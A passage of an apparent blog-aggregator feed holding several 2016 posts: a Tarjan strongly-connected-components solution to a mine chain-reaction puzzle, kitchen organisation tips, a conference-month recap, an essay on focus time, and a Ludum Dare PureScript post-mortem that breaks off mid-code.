In order to solve this problem we first need to compute the &lt;a href="https://en.wikipedia.org/wiki/Strongly_connected_component"&gt;strongly connected components&lt;/a&gt; in this graph . These are the subsets of mines which if any one is detonated then all mines in the subset will be detonated. In the example image above mines &lt;code class="prettyprint"&gt;5, 6&lt;/code&gt;, and &lt;code class="prettyprint"&gt;7&lt;/code&gt; comprise a SCC as do mines &lt;code class="prettyprint"&gt;0, 2, 9, 10, 11&lt;/code&gt; and &lt;code class="prettyprint"&gt;12&lt;/code&gt;. For simplicity we’ll say that mines on their own are also in SCCs of size &lt;code class="prettyprint"&gt;1&lt;/code&gt;. In order to compute the SCCs we can use &lt;a href="https://en.wikipedia.org/wiki/Tarjan%27s_strongly_connected_components_algorithm"&gt;Tarjan’s algorithm&lt;/a&gt; which can be implemented recursively or with a stack.&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint lang-python"&gt;def tarjan(graph):

    index_counter = [0]
    stack = []
    lowlinks = {}
    index = {}
    result = []

    def strongconnect(node):
        # depth index for this node
        index[node] = index_counter[0]
        lowlinks[node] = index_counter[0]
        index_counter[0] += 1
        stack.append(node)

        # Consider successors of `node`
        try:
            successors = graph[node]
        except:
            successors = []
        for successor in successors:
            if successor not in lowlinks:
                # Successor has not yet been visited
                strongconnect(successor)
                lowlink = min(lowlinks[node],lowlinks[successor])
                lowlinks[node] =  lowlink
            elif successor in stack:
                # the successor is in the stack
                lowlink = min(lowlinks[node],index[successor])
                lowlinks[node] = lowlink

        # pop the stack and generate an SCC
        if lowlinks[node] == index[node]:
            connected_component = []

            while True:
                successor = stack.pop()
                connected_component.append(successor)
                if successor == node: break
            component = tuple(connected_component)
            # storing the result
            result.append(component)

    for node in graph:
        if node not in lowlinks:
            strongconnect(node)

    return result
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This computes the SSCs for the initial graph. Now we can collapse all vertices in a SCC into a super vertex. Remember detonating &lt;u&gt;any&lt;/u&gt; mine in the super vertex will detonate all the other in that super vertex. Then we can create another graph of the super vertices and connect super vertices with a directed edge if any mine in that super vertex can detonate any mine in another super vertex. We now get another directed graph although this one won’t have cycles. Remember if we denote a mine in a connected component it will detonate all mines in that component and all mines in all components reachable from that support node. Here’s an illustration to or the process so far:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/5qamy4rdva2xsq.jpg"&gt;&lt;img alt="graph.jpg" src="https://svbtleusercontent.com/5qamy4rdva2xsq_small.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can now work out which mines need to be detonated. In order to do this we can look for all super vertices in this graph that have a zero in-degree. This means that they aren’t reachable by any sequence of mine detonations and thus need to be detonated themselves. One solution is to detonate mines: &lt;code class="prettyprint"&gt;0, 3&lt;/code&gt; and &lt;code class="prettyprint"&gt;8&lt;/code&gt;. There are actually multiple solutions. We can see this for example by considering the case where all the mines are within blast radius of all others and thus form one strongly connected components. In this case we could choose any mine to start the chain reaction.&lt;/p&gt;

&lt;p&gt;In the competition the test cases got really large. The smallest had &lt;code class="prettyprint"&gt;500&lt;/code&gt; vertices and the largest had &lt;code class="prettyprint"&gt;800,000&lt;/code&gt; vertices. Tarjan’s algorithm is really fast and runs in &lt;code class="prettyprint"&gt;O(N)&lt;/code&gt;. Similarly the degree counting can also be done in &lt;code class="prettyprint"&gt;O(N)&lt;/code&gt;. The slowest part it actually creating the initial graph which when done naively takes &lt;code class="prettyprint"&gt;O(N^2)&lt;/code&gt;. In order to process the larger test cases we need to use a range query structure like a &lt;a href="https://en.wikipedia.org/wiki/K-d_tree"&gt;KD-Tree&lt;/a&gt; to query all mines within &lt;code class="prettyprint"&gt;R&lt;/code&gt; of a specific mine in logarithmic time. Reducing the processing to &lt;code class="prettyprint"&gt;O(N log  N)&lt;/code&gt;. A simpler approach than implementing a KD-Tree is to sort all the mines by their &lt;code class="prettyprint"&gt;X&lt;/code&gt; coordinate and only consider partner mines that are within &lt;code class="prettyprint"&gt;X*X&lt;/code&gt; &amp;lt; &lt;code class="prettyprint"&gt;R*R&lt;/code&gt; of original. With randomly spaced data this gets you close to &lt;code class="prettyprint"&gt;O(N log N)&lt;/code&gt; without too much more coding. The problem set is available &lt;a href="https://www.dropbox.com/s/5u4k1ckiwe1h9hm/B.zip?dl=0"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This type of analysis is useful in considering the distribution of information through a network. If the initial graph represented people and edges represented the people with whom they shared information. Then the source nodes are the minimum set of people that need to be given information such that it is transferred through the whole network. &lt;/p&gt;</description><author>Nicholas Pilkington</author><pubDate>Mon, 09 May 2016 06:31:48 GMT</pubDate><guid isPermaLink="true">https://nickp.svbtle.com/chain-reaction</guid></item><item><title>What I've learned from cooking in 36 kitchens in the last year</title><link>https://josh.works/what-ive-learned-from-cooking-in-36-kitchens-in-the-last-year</link><description>&lt;p&gt;Since we’ve been on the road full-time for the last year, Kristi and I have prepared meals for (usually) ourselves and (sometimes) others in 36 (!!!) kitchens.&lt;/p&gt;

&lt;p&gt;Sometimes we’ve used a kitchen for just one night, sometimes it’s every night for two months.&lt;/p&gt;

&lt;p&gt;Needless to say, we’ve seen many things we like, and many things we don’t like, about kitchens.&lt;/p&gt;

&lt;p&gt;Part of me says “Josh, this is the dumbest thing ever to write about. Kitchens don’t matter”&lt;/p&gt;

&lt;p&gt;Then I think “well, we all spend a lot of time in a kitchen, and depending on how you interact with one, a kitchen can make you both healthy and rich.”&lt;/p&gt;

&lt;p&gt;(Eating at home is cheap and healthy, which is generally better than the expensive and unhealthy alternative.)&lt;/p&gt;

&lt;p&gt;So, a kitchen is where you apply your skills to your ingredients to fuel your body, and hopefully do all of this in a frustration-free way.&lt;/p&gt;

&lt;h2 id="skills"&gt;Skills&lt;/h2&gt;

&lt;p&gt;Go read &lt;a href="http://www.amazon.com/4-Hour-Chef-Cooking-Learning-Anything/dp/0547884591"&gt;The Four Hour Chef&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Great! Now you’ve got skills, and if you followed along with his recommendations, you’ve also got a functional kitchen.&lt;/p&gt;

&lt;h2 id="ingredients"&gt;Ingredients&lt;/h2&gt;

&lt;p&gt;I can’t help you with. I still find grocery shopping for new meals to be quite challenging. So, I generally cook the same few things over and over. ~Breakfast and lunch is always the exact same, every day. Omelet with a meat and veggies.~ I’m vegetarian-ish (since 2017), and do the “intermittent fasting” thing (since 2016).&lt;/p&gt;

&lt;p&gt;Dinner varies through four meals or so.&lt;/p&gt;

&lt;h2 id="kitchen-organization-and-layout"&gt;Kitchen Organization and Layout&lt;/h2&gt;

&lt;p&gt;This I can talk about!&lt;/p&gt;

&lt;p&gt;Kristi and I have a running list of things we do and don’t like in kitchens, so when we get to put our own kitchen together again, we can have something that we really like.&lt;/p&gt;

&lt;p&gt;Most of the items on our list (and there are many items on that list) fall under just a few general themes:&lt;/p&gt;

&lt;h3 id="hang-as-much-from-walls-as-possible"&gt;Hang as much from walls as possible.&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Pots and pans take up space in cabinets, and you are always nesting the one you use most often under the other two you don’t use as much, so you move the same items 2x/day for no good reason. So, hang them from a wall, like with one of &lt;a href="http://www.ikea.com/us/en/catalog/products/30202092/"&gt;these&lt;/a&gt; or ideas from &lt;a href="http://www.thekitchn.com/hang-pots-on-the-wall-week-2-choosing-the-best-hanging-system-spring-projects-from-the-kitchn-202229"&gt;here&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;A magnetic knife rack saves your knives from banging against each other in a drawer, and from bacteria in a knife block. Plus they look cool. Here’s &lt;a href="http://www.thekitchn.com/10-places-to-hang-your-magnetic-knife-rack-200833"&gt;The Kitchn&lt;/a&gt; on knife racks.&lt;/li&gt;
  &lt;li&gt;Mount a paper towel dispenser on the wall, or under a counter, but
mount it securely or you’ll rip it out of the wall/counter some day. I used &lt;a href="http://www.amazon.com/Simplehuman-Mount-Paper-Holder-Stainless/dp/B002YI653C"&gt;this one&lt;/a&gt; for ages, and loved it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If these three things are mounted on a wall (and extra rack space given to spatulas, spoons, etc) you’ve made HUGE progress in creating more space in your cabinets,
and you can easily get to the pots and pans you use the most without struggling to free them from under other pans.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Josh, this is all well and good, but I’m in an apartment, I can’t be putting big holes in walls.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
  &lt;li&gt;They don’t need to be big. Everything that was really heavy I mounted with either &lt;a href="http://www.homedepot.com/p/E-Z-Ancor-Stud-Solver-7-x-1-1-4-in-Alloy-Flat-Head-Self-Drilling-Drywall-Anchors-with-Screws-4-Pack-29503/100234590"&gt;this&lt;/a&gt; or &lt;a href="http://www.homedepot.com/p/Crown-Bolt-1-8-in-x-2-in-Zinc-Plated-Mushroom-Head-Toggle-Bolt-Anchor-10242/100349321"&gt;some of these&lt;/a&gt;. You can repair the holes yourself, if you want, after you move out.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="http://www.naturalhandyman.com/iip/inffastener/infanchor/infanchor.html"&gt;Here’s a good guide to hanging stuff&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Worse case, the company/landlord withholds some (or all of) your security deposit. One apartment I left a bunch of holes in the wall, I think I lost $100 of my security deposit. That averaged out to $4/month for the privilege of my kitchen being a pleasant space to work. What’s life without breaking some rules now and again? I guarantee you’re a better tenant that most landlords are used to, so they won’t be too upset.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="have-as-little-on-your-countertops-as-possible"&gt;Have as little on your countertops as possible&lt;/h3&gt;

&lt;p&gt;When you’re cooking, you need cutting boards, or space for jars, or bags of various things. You can always use more space. So, don’t cause yourself frustration by leaving non-essential items on your countertops. Common offenders are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Knife blocks&lt;/li&gt;
  &lt;li&gt;Jars full of infrequently-used ingredients, like flour, salt, and sugar, rice, pasta, assorted teas&lt;/li&gt;
  &lt;li&gt;Infrequently used appliances&lt;/li&gt;
  &lt;li&gt;Spice rack&lt;/li&gt;
  &lt;li&gt;paper towel holder&lt;/li&gt;
  &lt;li&gt;Soap dispensers (i’ll address this in a moment)&lt;/li&gt;
  &lt;li&gt;Drying rack&lt;/li&gt;
  &lt;li&gt;Potted plants&lt;/li&gt;
  &lt;li&gt;More appliances&lt;/li&gt;
  &lt;li&gt;boom boxes/radios (not kidding at all here)&lt;/li&gt;
  &lt;li&gt;cup racks&lt;/li&gt;
  &lt;li&gt;misc. junk spillover that should be elsewhere. (Mail, pill containers, etc)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All this stuff complicates your kitchen for several reasons:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;You can’t use your space as well as you want, when it’s most important. (while cooking!)&lt;/li&gt;
  &lt;li&gt;It’s much harder to clean after cooking, because you have to move a dozen things or so to wipe down a countertop.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This creates friction between you and cooking, which is bad, because cooking makes you health and rich, remember?&lt;/p&gt;

&lt;h3 id="make-cleanup-as-easy-as-possible"&gt;Make cleanup as easy as possible&lt;/h3&gt;

&lt;p&gt;Cooking is not easy, but doing a huge pile of dishes in a space that is not conducive to cleaning dishes makes it 10x worse.&lt;/p&gt;

&lt;p&gt;The first offender here is a split sink. I don’t know why split sinks are so common. It seems to be that people like using the 2nd side as a drying rack, but I think that’s sacrificing a huge amount of valuable space for something that can be had on the counter next to the sink. If you’re remodeling a kitchen, just buy a $20 drying mat (I used &lt;a href="http://www.amazon.com/OXO-Grips-Silicone-Drying-Square/dp/B002UTG7WY"&gt;this one&lt;/a&gt; for years, loved it) and get an extra large, extra deep sink.&lt;/p&gt;

&lt;p&gt;It doesn’t matter. No one is going to change their sink because they read an article, so lets just do the best with whatever kind of sink you’ve got. There’s plenty of room to optimize.&lt;/p&gt;

&lt;h4 id="have-a-good-sponge"&gt;Have a good sponge&lt;/h4&gt;
&lt;p&gt;They cost almost nothing, but are the thing that does all the work of cleaning. Buy in bulk, and liberally throw them out as they get old and smelly. Get something that has an abrasive pad on one side. They’re yellow and green, and cheap.&lt;/p&gt;
&lt;h4 id="dont-scorn-rubber-gloves"&gt;Don’t scorn rubber gloves&lt;/h4&gt;
&lt;p&gt;When I can, I use dishwashing gloves. The ones I own are usually yellow or pink. Some people laugh, and then I explain: I like hot water, and all the soap and water and grease is rough on my hands. I rock climb, a lot, and spend an unusual amount of time working about skin quality.&lt;/p&gt;

&lt;p&gt;Once I started doing dishes with rubber gloves, I never wanted to go back. They cost a dollar or three, last ages.&lt;/p&gt;

&lt;h4 id="have-one-handed-soap-dispensers"&gt;Have one-handed soap dispensers&lt;/h4&gt;
&lt;p&gt;Imagine you’ve got one hand on a dish, and the other hand is holding a sponge. You need more soap on the sponge. What do you do?&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Put dish down, use still-dirty/wet/soapy hand to grab soap container, invert said container over sponge, squeeze out some soap, replace container on counter, pick up dish again, and resume cleaning&lt;/li&gt;
  &lt;li&gt;With one hand, press down on a soap dispenser into your sponge, and resume cleaning.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="http://www.ebay.com/itm/Umbra-Joey-Ceramic-Soap-Pump-Dispenser-Scrubby-Kitchen-Holder-Bathroom-Liquid-/221806220590"&gt;Something like this&lt;/a&gt; will help doing dishes be less unfun.&lt;/p&gt;

&lt;h4 id="have-a-good-place-to-dry-dishes"&gt;Have a good place to dry dishes&lt;/h4&gt;

&lt;p&gt;I’ve mentioned &lt;a href="http://www.amazon.com/OXO-Grips-Silicone-Drying-Square/dp/B002UTG7WY"&gt;this drying mat&lt;/a&gt; before, I’ll mention it again. I’ve found drying rack preferences to be deeply personal and contentious, so… you do you. &lt;/p&gt;

&lt;h4 id="wipe-down-your-counters-with-one-hand"&gt;Wipe down your counters with one hand&lt;/h4&gt;

&lt;p&gt;Cleanup is way more than just dishes, you need to clean work surfaces. &lt;a href="http://www.amazon.com/Windex-Antibacterial-Cleaner-Kitchen-Glistening/dp/B00AJLYILM/ref=pd_bxgy_121_img_2?ie=UTF8&amp;amp;refRID=0AARTN3B53KCFHCECE1S"&gt;This soap dispenser&lt;/a&gt; allows you to press a folded paper towel into the top of it, and it dispenses lysol. This was one of two things we kept on our counters full-time, and it made wiping down the counters SO EASY.&lt;/p&gt;

&lt;h4 id="put-your-trashcan-close-to-your-sink"&gt;Put your trashcan close to your sink&lt;/h4&gt;

&lt;p&gt;Generally, any time you move stuff from your sink to your trash, it’s gross. It’s food stuck in a strainer, or something covered in raw meat juice, or something else. The last thing you want to do is cross your kitchen dripping gross liquid across your floor. So, if you have a “mobile” trash can, make it easy to put next to the sink, and make sure it’s something you can operate with one foot.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;note: most pedal-operated trashcans don’t work. They either slide out of the way, or don’t open all the way, and you have to help the lid open the rest of the way. This is not ideal.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;If your kitchen is easy to use, you’ll use it. Make things accessible, empty your counters, and set yourself up for success with your dishes.&lt;/p&gt;

&lt;p&gt;If you do these three things, you’ll have a kitchen better configured than almost everyone out there.&lt;/p&gt;

&lt;p&gt;Good luck.&lt;/p&gt;

&lt;h2 id="resources"&gt;Resources&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Ikea’s &lt;a href="http://www.ikea.com/gb/en/catalog/categories/departments/kitchen/roomset/"&gt;kitchen guide&lt;/a&gt; is a great place for ideas&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://www.thekitchn.com/categories/setting_up_a_kitchen"&gt;The Kitchn&lt;/a&gt; has a nice collection of ideas. (Yes, I’ve spent hours browsing “kitchen organization ideas” and “cute ways to organize a small kitchen”. What about it?)&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://www.simplehuman.com/"&gt;Simple Human&lt;/a&gt; makes lovely things&lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Mon, 09 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/what-ive-learned-from-cooking-in-36-kitchens-in-the-last-year</guid></item><item><title>My Crazy Speaking Month</title><link>https://nicolaiarocci.com/crazy-speaking-month/</link><description>&lt;p&gt;April was definitely my crazy Speaking Month. After an almost one year long self-imposed conference hiatus, I was challenged to deliver four different talks, attend two discussion panels, give one live demo and release one interview. All in a three weeks period span. First I went to &lt;a href="http://www.pycon.it"&gt;PyCon Sette&lt;/a&gt; in Florence. A few days later a plane took me to St. Petersburg, Russia, for &lt;a href="http://www.it-sobytie.ru/en/events/5862"&gt;PiterPy&lt;/a&gt;. Finally, the next weekend I was in Rome for the &lt;a href="https://mvp.microsoft.com"&gt;Western Europe Microsoft MVP Community Day&lt;/a&gt;. In the meantime several Channel 9 TecHeroes episodes were due for release. This was of course super exciting. And challenging.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Mon, 09 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/crazy-speaking-month/</guid></item><item><title>Focus time assets</title><link>http://dimitarsimeonov.com/2016/05/09/focus-time-assets</link><description>&lt;p&gt;In the finance world, it is well defined which investments are assets
and which are liabilities. If an investment brings a net positive
income over time, it is an asset. Otherwise, it is a liability,
something to pay for every month - an outgoing cost.&lt;/p&gt;

&lt;p&gt;Why would you ever have a liability? It is a bad idea. Every month you
are losing money on it.&lt;/p&gt;

&lt;p&gt;One reason is that there might be something non monetary that you are
getting out of it. For example, a house can be a warm and dry place to
rest.&lt;/p&gt;

&lt;p&gt;Another reason is to have committed to liability in the past. Lets say
you sign up a car lease. Usually these require minimum number of 2 or
3 years. So during that time you have to keep paying the monthly
fee. It is a liability.&lt;/p&gt;

&lt;p&gt;So it isn’t necessarily that a liability is always bad. It is bad,
when the non monetary value it provides is too low. The liability
becomes a burden and drags its owner. Leased car provides a means for
transportation. So if the transportation is really valuable for you,
and that remains true for the duration of the lease, then it is
actually a net asset.&lt;/p&gt;

&lt;p&gt;If we could put a money value on having a roof and
transportation, then evaluating such investments would be a
simple balance sheet exercise.&lt;/p&gt;

&lt;p&gt;But not everything has an exact price tag.  There are other dimensions
besides money.&lt;/p&gt;

&lt;p&gt;One of those is time. We all have the same amount of time income per
day - twenty four hours.&lt;/p&gt;

&lt;p&gt;We have sleep time-liability. Usually this amounts to about 8 hours per
day. Sleep has high interest rate. When we under-sleep for a
couple of days in a row, all our mental and physical abilities
diminish. We pay the interest as decreased performance, and we still
need to catch up on the sleep.&lt;/p&gt;

&lt;p&gt;Then, we have nutrition liability. We usually satisfy this by eating
food. Food also has large effect on our ability to use our
time. When we over-eat we can enter food coma. When we under-eat, we
get distracted by hunger and it is easier for us to make impulsive
decisions. One of my rules of thumb in life is to never go shopping
hungry. I’ll write about it some other time.&lt;/p&gt;

&lt;p&gt;Then… there is nothing else. Every other time commitment is
something that we optionally fall into. Sleep and nutrition are the
only requirement for survival.&lt;/p&gt;

&lt;p&gt;Social obligations, career, education, exercise, leisure - these are
all ways we &lt;em&gt;choose&lt;/em&gt; to spend our time. We can skip any of the above,
or vary the amount that we do in our lives.&lt;/p&gt;

&lt;p&gt;Often, we get other stuff in return. Like money. Or knowledge. Or
opportunities.&lt;/p&gt;

&lt;p&gt;The most common trade we do with our time is to trade it for money. We
go into our career and perform the requested work, and get paid in
money. Then, we can use these money to trade it for some other
things. This is often how we get nutrition. Of course, it is possible
to grow your own nutrition in your garden, but almost all of
food people eat in the world they buy with money.&lt;/p&gt;

&lt;p&gt;Money is a currency - we can exchange it for other things.  We can
exchange time for money, if we have a marketable skill. But we can
also obtain money from other money. When money buys capital, this
capital can generate more money.&lt;/p&gt;

&lt;p&gt;Capital is a “money-asset”. Capital can generate money on a regular
basis.&lt;/p&gt;

&lt;p&gt;I’d like to talk about time-assets. Generally, the concept of time
asset doesn’t make sense. We all have a fixed twenty four hours a
day. The only way to get less, is to be traveling at the speed of
light. See “Twin Paradox” to see how. But this doesn’t often happen to
us. We have generally all have the same twenty four hours, every day.&lt;/p&gt;

&lt;p&gt;We can’t earn more, or remove time. Whether we want more or less, we
get twenty four hours. Deal. Done.&lt;/p&gt;

&lt;p&gt;So when I talk about time assets I will make distinction between
different types of time. Lets start with a simple example. We can have
“focused time” and “unfocused time”. Focused time is the time during
which we can operate well and achieve what we need to achieve.&lt;/p&gt;

&lt;p&gt;So when we say stuff like “My time is worth $20/hour,” we actually
mean that our focused time is worth that much. Unfocused time is worth
zero. Nobody would pay us money to sit there and do nothing. Or even
worse, to do a detrimental job.&lt;/p&gt;

&lt;p&gt;If focused time is good, how do we get more of it? And aren’t we
limited by the same twenty four hours limit? We are, but there are
different levels of focus and ability that we could achieve. As we
fill up a given level, to the most of our time, we can start leveling
up our focused time. And we can repeat this process multiple times
over.&lt;/p&gt;

&lt;p&gt;So lets consider some focus-time-investments.&lt;/p&gt;

&lt;p&gt;First, coffee. I love coffee. It is delicious and it helps me
focus and do a lot. But it is a zero-sum game. I can get some focused
time at the moment, at the expense of laziness later on. It is only
helpful in the short term. And the same applies to all forms of
caffeine.&lt;/p&gt;

&lt;p&gt;Next, meditation. I find that meditation clears my mind, reduces my
anxiety and improves my ability to focus for hours. Meditation is more
powerful than coffee because for the twenty minutes spent meditating I
can get multiple hours of focus. It usually amounts to a little bit
more than coffee. YMMV.&lt;/p&gt;

&lt;p&gt;Then exercise. Having enough exercise provides enough energy to the
body, but having too much might incapacitate you for a while. Usually
I feel exhausted after a long bike ride and unable to focus much.  The
benefits of exercise are definitely present, but only further in the
future. Only after the physical recovery it is possible to get the
increased focus. The body then works better and you have more energy.&lt;/p&gt;

&lt;p&gt;TV, and media in general are a focus liability. Getting useless
information is not just neutral, it is damaging. We have to do extra
work to clean up this information for our mind. Sometimes we get
tricked by advertisement in media to make bad decisions. Some of them
reduce our ability to focus. Others require a lot of our
time to maintain. Having less available time means less focused time.&lt;/p&gt;

&lt;p&gt;I’d like to talk more in detail about the different types of focus
assets and liabilities, but this post is getting too long. Next
time, more.&lt;/p&gt;</description><author>D13V</author><pubDate>Mon, 09 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/05/09/focus-time-assets</guid></item><item><title>Ludum Dare 35 post-mortem and things I learned using PureScript</title><link>https://gilmi.me/post/2016/05/09/ld35</link><description>&lt;p&gt;I did not plan on participating in The last &lt;a href="http://ludumdare.com"&gt;Ludum Dare&lt;/a&gt; #35 which started around three weeks ago.
Ludum Dare more often than not comes at a very inconvenient time for me. It usually starts at around 5am on Saturdays
and carries over until around that time on Tuesdays,
Since I am working on Sundays the only free time I have to work on LD without taking vacation from work
is Saturday and Sunday/Monday evenings. This LD was no exception.&lt;/p&gt;&lt;p&gt;Usually, one of the hardest parts about LD for me is thinking about an idea for a game.
On LD 34 I spent most of Saturday deciding on an idea.
This time, after discovering the theme for LD35 (Shapeshift), An idea for a game that I could
implement in a short amount of time came to me almost immediately.&lt;/p&gt;&lt;p&gt;My idea was making a trivia-like game where one needs to choose the right shape to pass through a wall,
similarly to a few game shows I once saw on TV.
This idea for a game was pretty simple to implement from scratch:
No need for fancy graphics or game mechanics - just a few shapes on the screen.&lt;/p&gt;&lt;p&gt;I figured it will take me around 8-10 hours to implement a basic version of the game.
Since it was an acceptable amount of time for me, I decided to go for it and participate.&lt;/p&gt;&lt;p&gt;My weapon choice these days for making games for game jams is &lt;a href="https://purescript.org"&gt;PureScript&lt;/a&gt;.
Since PureScript compiles to JavaScript it is simple for others to play without needing to download anything
and it's purely functional as well, just the way I like it.&lt;/p&gt;&lt;p&gt;My workflow was basically writing the code in Emacs in one window and running &lt;code&gt;pulp server&lt;/code&gt; in a terminal. &lt;code&gt;pulp server&lt;/code&gt; automatically re-compiles a project when a source file changes and serves it over http. So all I had to do is make some changes, save the file and refresh the browser. If the project failed to compile, &lt;code&gt;pulp&lt;/code&gt; would print the error messages.&lt;/p&gt;&lt;p&gt;The first thing I started with is assembling the game loop using &lt;a href="https://github.com/bodil/purescript-signal"&gt;Signals&lt;/a&gt;, that basically means declaring some state type, creating an input signal, and making a loop that will update the state according to the input and will render to canvas.&lt;/p&gt;&lt;p&gt;After that, I started creating the &amp;quot;assets&amp;quot; - the shapes I was going to use in the game. I made the few shapes I wanted to use using combinators from &lt;a href="https://github.com/paf31/purescript-drawing"&gt;purescript-drawing&lt;/a&gt; and started playing with them on the screen, seeing how the move and change when I press the buttons on my keyboard and adjusting accordingly.&lt;/p&gt;&lt;p&gt;The next few steps were pretty standard: Add more data to the global state like current shape, the questions, the wall, etc, adding the logic to the state update function and deciding how to draw the state. A few hours spent and I had a working game.&lt;/p&gt;&lt;p&gt;There were, however, a few more features that could make the game a bit more interesting. I could let the users create their own trivias, and I could also add some sounds to the game. To do these I'd first have to learn a bit about fetching data from the outside world and parsing JSON in purescript, I'll also need to learn how to play sounds (which actually led me to learn how to wrap an existing javascript library and use it from purescript).&lt;/p&gt;&lt;p&gt;I had one evening for each problem, I'd need to learn these features and use them. I'd like to share
with you the few things I learnt :)&lt;/p&gt;&lt;h2 id="how-to-make-user-questions"&gt;How to make user questions?&lt;/h2&gt;&lt;p&gt;My approach was:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Get a url to a JSON defining the questions as a query parameter&lt;/li&gt;&lt;li&gt;Retrieve the data from that url&lt;/li&gt;&lt;li&gt;parse it to a purescript data structure&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Let's go over the stages one by one.&lt;/p&gt;&lt;h4 id="1.-get-a-url-to-a-json-defining-the-questions-as-a-query-parameter"&gt;1. Get a url to a JSON defining the questions as a query parameter&lt;/h4&gt;&lt;p&gt;To do this I needed to use the following packages:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;purescript-dom - getting the query parameters string&lt;/li&gt;&lt;li&gt;purescript-uri - parser for the query string&lt;/li&gt;&lt;li&gt;purescript-string-parsers - actually running the parser&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Here is a snippet that gets the query string parameters as a mapping from query name to value.&lt;/p&gt;&lt;pre&gt;&lt;code class="purs"&gt;module QueryParams where

import Prelude
import Data.Either (Either)
import Control.Monad.Eff (Eff)

import DOM (DOM)
import DOM.HTML (window)
import DOM.HTML.Window (location)
import DOM.HTML.Location (search)

import Data.URI.Query (parseQuery, Query)
import Text.Parsing.StringParser (runParser, ParseError)

queryParams :: forall e. Eff ( dom :: DOM | e ) (Either ParseError Query)
queryParams = map (runParser parseQuery) (window &amp;gt;&amp;gt;= location &amp;gt;&amp;gt;= search)&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2.-retrieve-the-data-from-a-url"&gt;2. Retrieve the data from a Url&lt;/h4&gt;&lt;p&gt;This is dead simple using purescript-affjax. All that is needed is to write &lt;code&gt;get url&lt;/code&gt; and affjax will fetch it for you.&lt;/p&gt;&lt;h4 id="3.-parse-the-data"&gt;3. Parse the data&lt;/h4&gt;&lt;p&gt;So I (maybe) got a JSON containing questions and answers, how do I parse it?&lt;/p&gt;&lt;p&gt;First, let's see the model for the Q/As:&lt;/p&gt;&lt;pre&gt;&lt;code class="purs"&gt;newtype QA = QA
  { question :: String
  , answers  :: Array Ans
  }

newtype Ans = Ans (Tuple Boolean String)

type QAs = Zipper QA&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;where Zipper is a common zipper data structure. You can see the implementation of it &lt;a href="https://github.com/soupi/ld35/blob/master/src/Zipper.purs"&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Let's look at an example input we are planning to parse:&lt;/p&gt;&lt;pre&gt;&lt;code class="js"&gt;[{
    &amp;quot;question&amp;quot;: &amp;quot;1 + 1 =&amp;quot;,
    &amp;quot;answers&amp;quot;: [{
        &amp;quot;correct&amp;quot;: true,
        &amp;quot;value&amp;quot;: &amp;quot;2&amp;quot;
    }, {
        &amp;quot;correct&amp;quot;: false,
        &amp;quot;value&amp;quot;: &amp;quot;3&amp;quot;
    }]
}]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is already pretty simillar to &lt;code&gt;QA&lt;/code&gt;, the only difference is that &lt;code&gt;QAs&lt;/code&gt; is using a &lt;code&gt;Zipper&lt;/code&gt; and not an &lt;code&gt;Array&lt;/code&gt; as the JSON. we can fix this easily:&lt;/p&gt;&lt;pre&gt;&lt;code class="purs"&gt;toQAs :: Array QA -&amp;gt; Maybe (Zipper QA)
toQAs as = case uncons as of
  Just {head: x, tail: xs} -&amp;gt; Just $ fromArray x xs
  Nothing -&amp;gt; Nothing&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But first, we need to parse the data. The &lt;code&gt;purescript-foreign&lt;/code&gt; package
contains a function &lt;code&gt;readJSON&lt;/code&gt; which can try to parse this object as a type that implements the &lt;code&gt;IsForeign&lt;/code&gt; typeclass.
Because we need it to parse &lt;code&gt;Array QA&lt;/code&gt;, we need &lt;code&gt;Array QA&lt;/code&gt; to have an instance of
&lt;code&gt;IsForeign&lt;/code&gt;. Fortunately, most basic types in purescript already have an instance for that class,
such as &lt;code&gt;Boolean&lt;/code&gt;, &lt;code&gt;String&lt;/code&gt; and &lt;code&gt;IsForeign a =&amp;gt; Array a&lt;/code&gt;.
So all that is needed is to implement an &lt;code&gt;IsForeign&lt;/code&gt; instance for the types &lt;code&gt;QA&lt;/code&gt; and &lt;code&gt;Ans&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code class="purs"&gt;
instance ansIsForeign :: IsForeign Ans where
  read value = do
